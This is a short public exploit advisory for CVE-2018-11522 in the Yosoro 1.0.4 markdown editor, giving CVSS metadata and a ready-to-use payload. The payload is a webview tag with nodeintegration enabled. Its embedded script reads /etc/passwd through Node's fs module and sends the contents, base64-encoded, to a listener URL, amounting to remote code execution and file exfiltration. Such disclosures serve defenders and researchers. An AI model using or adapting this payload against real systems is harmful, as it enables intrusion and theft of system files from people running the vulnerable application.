Yosoro 1.0.4 Remote Code Execution

2018.05.30

Credit: Carlo Pelliccioni

Risk: High

Local: No

Remote: Yes

CVE: CVE-2018-11522

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit title: Yosoro 1.0.4 - Remote Code Execution
# Date: 2018-05-29
# Exploit Author: Carlo Pelliccioni
# Vendor homepage: https://yosoro.coolecho.net/
# Software link: https://github.com/IceEnd/Yosoro/releases/download/v1.0.4/Yosoro-darwin-x64-1.0.4.zip
# Version: 1.0.4
# Tested on: MacOS 10.13.4
# CVE: CVE-2018-11522
#  _  _            _    _    _             ___                      _  _         
# | || | __ _  __ | |__| |_ (_)__ __ ___  / __| ___  __  _  _  _ _ (_)| |_  _  _ 
# | __ |/ _` |/ _|| / /|  _|| |\ V // -_) \__ \/ -_)/ _|| || || '_|| ||  _|| || |
# |_||_|\__,_|\__||_\_\ \__||_| \_/ \___| |___/\___|\__| \_,_||_|  |_| \__| \_, |

# Remote Code Execution (CVE-2018-11522)
# Payload: 

<webview src="data:text/html,<script>var read = require('fs').readFileSync('/etc/passwd', 'utf-8'); document.location='http://127.0.0.1:8089/'+btoa(read); </script>" nodeintegration></webview>

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Yosoro 1.0.4 Remote Code Execution

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